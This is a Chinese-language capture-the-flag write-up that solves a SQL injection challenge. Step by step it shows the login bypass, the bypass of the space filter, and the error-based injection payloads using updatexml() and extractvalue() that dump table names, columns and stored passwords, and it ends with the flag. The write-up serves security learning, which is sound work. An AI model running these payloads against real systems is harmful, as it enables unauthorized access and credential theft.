题目环境:
判断注入类型
1'
万能密码注入1' or '1'='1
SQL注入字典查过滤字符
Intruder字典爆破
光标选中参数password的值1-Add选择爆破目标
选用字典
Start attack开始爆破
OK
爆破结果:
继续测试
空格限制
重新构造万能密码1'or((1)like(1))#
知识一、
首先使用updatexml()函数进行SQL报错注入
爆库1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
查表1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
爆字段1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
查字段内容1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#
使用right()突破字符限制1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#
拼接得到最终flag:flag{389c9161-c2eb-403a-8062-80f219ca1c30}
使用extractvalue()函数进行SQL报错注入
1'^extractvalue(1,concat(0x7e,(select(database()))))#
1'or(extractvalue(1,concat(0x7e,(select(database())))))#
1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#
1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#
1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))#
使用right()突破字符限制1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))#
拼接得到最终flag:flag{389c9161-c2eb-403a-8062-80f219ca1c30}